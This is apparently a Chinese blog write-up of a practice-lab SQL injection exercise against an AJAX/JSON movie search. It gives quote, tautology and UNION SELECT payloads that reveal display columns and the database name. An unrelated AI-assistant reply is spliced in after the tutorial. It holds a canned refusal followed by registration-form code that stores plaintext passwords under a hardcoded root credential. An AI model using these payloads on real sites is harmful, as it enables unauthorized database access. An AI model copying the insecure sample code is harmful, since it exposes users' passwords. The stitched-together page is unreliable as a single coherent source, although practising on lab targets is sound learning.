SQL Injection (AJAX/JSON/jQuery)

1.AJAX/JSON/jQuery

(1)AJAX

通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。

(2)JSON

JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式。

是一种数据格式。

(3)jQuery

jQuery 是一个 JavaScript 库,使用jQuery不仅能够将原本需要很多JavaScript 码才能实现的功能缩减为几行代码,还提供了足够高速的性能,是每一个网站开发人员都应掌握的技能。

2.注入

先来抓个包:

在输入框里输入i 

 抓到的包:

第一行,title=i,改成 ' 看看:

sql报错了,猜测sql语句如下:

select * from 表名 where Title like '%".用户输入."%'

所以可以这么构造sql语句:

select * from 表名 where Title like '%"' or '"%

查询正确,所有电影都在

 

 在此基础上进行注入:

0' union select 1,2,3,4,5,6,7 '

得到2,3,4,5,一共4个可显示位

 爆库:

0' union select 1,database(),3,4,5,6,7 '

 

 后边就和GET/Search差不多了。

很抱歉,作为一个AI语言模型,我没有本地服务器和文件夹访问权限,无法为您提供完整的解决方案。但是,我可以为您提供一些可以参考的代码示例。 HTML页面代码示例: ``` <!DOCTYPE html> <html> <head> <title>User Registration</title> <link rel="stylesheet" href="style.css"> </head> <body> <h1>User Registration Form</h1> <form id="register-form"> <label>Username:</label> <input type="text" name="username" required><br> <label>True Name:</label> <input type="text" name="trueName" required><br> <label>Password:</label> <input type="password" name="password" required><br> <label>Gender:</label> <input type="radio" name="sex" value="male" required>Male <input type="radio" name="sex" value="female" required>Female<br> <label>Age:</label> <input type="number" name="age" required><br> <label>Favorite:</label> <input type="text" name="favor"><br> <label>Province:</label> <select name="province" required> <option value="">--Select Province--</option> <option value="Beijing">Beijing</option> <option value="Shanghai">Shanghai</option> <option value="Guangdong">Guangdong</option> <option value="Zhejiang">Zhejiang</option> </select><br> <label>Introduction:</label> <textarea name="intro"></textarea><br> <input type="submit" value="Register"> </form> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="script.js"></script> </body> </html> ``` CSS样式表代码示例(style.css): ``` label { display: inline-block; width: 100px; text-align: right; margin-right: 10px; } input[type="text"], input[type="password"], textarea { width: 200px; } select { width: 220px; } ``` JavaScript代码示例(script.js): ``` $(document).ready(function() { $("#register-form").submit(function(event) { event.preventDefault(); // prevent default form submission // serialize form data into JSON format var formData = JSON.stringify($(this).serializeArray()); // send AJAX request to server-side PHP script $.ajax({ url: "register.php", type: "POST", data: {formData: formData}, dataType: "json", success: function(response) { if (response.status == 1) { alert("Registration successful!"); $("#register-form")[0].reset(); // reset form after successful registration } else { alert("Registration failed: " + response.message); } }, error: function(jqXHR, textStatus, errorThrown) { alert("AJAX error: " + textStatus + " - " + errorThrown); } }); }); }); ``` PHP代码示例(register.php): ``` <?php // check if form data is received if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["formData"])) { // decode JSON data $formData = json_decode($_POST["formData"], true); // connect to MySQL database $servername = "localhost"; $username = "root"; $password = "password"; $dbname = "register"; $conn = mysqli_connect($servername, $username, $password, $dbname); // check connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } // escape form data to prevent SQL injection $username = mysqli_real_escape_string($conn, $formData[0]["value"]); $trueName = mysqli_real_escape_string($conn, $formData[1]["value"]); $password = mysqli_real_escape_string($conn, $formData[2]["value"]); $sex = mysqli_real_escape_string($conn, $formData[3]["value"]); $age = mysqli_real_escape_string($conn, $formData[4]["value"]); $favor = mysqli_real_escape_string($conn, $formData[5]["value"]); $province = mysqli_real_escape_string($conn, $formData[6]["value"]); $intro = mysqli_real_escape_string($conn, $formData[7]["value"]); // insert form data into database $sql = "INSERT INTO user (username, trueName, password, sex, age, favor, province, intro) VALUES ('$username', '$trueName', '$password', '$sex', '$age', '$favor', '$province', '$intro')"; if (mysqli_query($conn, $sql)) { $response = array("status" => 1, "message" => "Registration successful!"); } else { $response = array("status" => 0, "message" => "Error: " . $sql . " - " . mysqli_error($conn)); } // close database connection mysqli_close($conn); // send JSON response back to client-side JavaScript header("Content-type: application/json"); echo json_encode($response); } ?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值